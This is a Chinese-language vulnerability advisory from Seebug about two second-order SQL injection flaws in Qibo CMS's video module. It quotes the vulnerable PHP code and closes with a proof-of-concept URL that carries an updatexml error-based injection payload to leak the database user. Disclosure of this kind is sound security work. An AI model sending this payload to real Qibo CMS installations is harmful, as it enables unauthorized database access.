齐博CMS视频系统 showsp.php和list.php 两处SQL注入漏洞

2016-05-18T00:00:00
ID SSV:91590
Type seebug
Reporter kikay
Modified 2016-05-18T00:00:00

Description

0x01漏洞描述

齐博CMS视频系统 showsp.php和list.php 两处SQL注入漏洞。

0x02漏洞详情

video/member/special.php

``` elseif($job=='addsp')

{

    if($step==2){

            $yz=($groupdb[PassContributeSP]||$web_admin)?1:0;

            $db->query("INSERT INTO `{$_pre}special` ( `fid` , `title` , `keywords` , `style` , `template` , `picurl` , `content` , `aids` ,`uid` , `username` , `posttime` , `list`, `allowpost`, `yz`, `banner` ) VALUES ('$postdb[fid]','$postdb[title]','$keywords','$style','','$postdb[picurl]','$postdb[content]','$aids','$lfjuid','$lfjid','$timestamp','$timestamp','$postdb[allowpost]','$yz','$postdb[banner]')");

            refreshto("special.php?job=listsp","??",1);

    }

``` $aids没有初始话而且在全局文件中也没任何过滤,在加上齐博的伪全局机制使得$aids直接入库了

看看在什么地方出库了(在两个地方出库进入查询)

第一处:

video/showsp.php

``` $rsdb=$db->get_one("SELECT * FROM {$_pre}special WHERE id='$id'");

//这里查询取出aids

if(!$rsdb){

    showerr("ݲ!");

}elseif($rsdb[yz]!=1){

    if(!$web_admin&&$lfjuid!=$rsdb[uid]){

            showerr("ûͨ");

    }

此处省略代码若干

if($rsdb[aids])

{//这里如果rsdb[aids]存在就带入查询

    $query = $db->query("SELECT A.*,D.content FROM  {$_pre}article A  LEFT JOIN {$_pre}reply D ON D.aid=A.aid WHERE D.topic=1 AND D.aid IN ($rsdb[aids])");

    while($rs = $db->fetch_array($query)){

            $rs[content]=preg_replace('/<([^<]*)>/is',"",$rs[content]);     //HTML˵

            $rs[content]=preg_replace('/ || /is',"",$rs[content]);     //ѶĿոȥ

            $rs[url]="$Mdomain/bencandy.php?fid=$rs[fid]&id=$rs[aid]";

            $rs[subject]="<a href='$rs[url]' target=_blank>$rs[title]</a>";

            $_listdb[$rs[aid]]=$rs;

    }

``` select出aids 然后直接又带入查询 造成了注入漏洞

第二处:

video/member/list.php

``` if($step==2){

    if(!$aidDB){

            showerr("请至少选择一篇视频");

    }elseif(!$Type){

            showerr("请选择操作目标,是删除还是审核等...");

    }

    if($Type=='yz'){

            if($T_yz<1){

                    $Type=='unyz';

            }

    }elseif($Type=='leavels'){

            if($levels<1){

                    $Type='uncom';

            }else{

                    $levels=1;

                    $Type='com';

            }

    }

    //if($Type=='delete'){

            //make_more_article_html("$FROMURL","del_0",$aidDB);

    //}

    $fid_str ='';

    foreach( $aidDB AS $key=>$value){



            if($webdb[Html_Type]==1&&$Type=='delete'){      //删除信息后,就读不到内容了

                    $rs=$db->get_one("SELECT fid FROM {$_pre}article WHERE aid='$value'");

                    $fid_str.="&bfid_array[]=$rs[fid]";

            }



            do_work($value,$Type,1);

``` 在这里调用了do_work函数 跟进

video/inc/artic_function.php

``` function do_work($id,$job,$check=0){

    global $db,$_pre,$timestamp,$lfjid,$lfjdb,$webdb,$web_admin,$reason,$Fid_db;

。。。

elseif($job=='special')

    {

            global $spid;

            if(!$spid){

                    showerr("请选择一个专题");

            }

            $rssp=$db->get_one(" SELECT * FROM {$_pre}special WHERE id='$spid' ");

            $detail=explode(",",$rssp[aids]);

            var_dump($detail);

            if( !in_array($id,$detail) ){

                    if($rssp[aids]){

                            $rssp[aids]="$id,$rssp[aids]";



                    }else{

                            $rssp[aids]="$id";



                    }



                    $db->query("UPDATE `{$_pre}special` SET `aids`='$rssp[aids]' WHERE id='$spid'");

            }

            $array[title]="你发表的《{$rsdb[title]}》被设置专题了";

``` 把出库的aids带入了update语句,造成sql注入

0x03漏洞证明

http://localhost/video/video/member/special.php?job=addsp&postdb[fid]=1&postdb[title]=2222&id=11&step=2&aids=2)%20and%20updatexml(0,concat(0xa,user()),0)%23

0x04修复方案

过滤。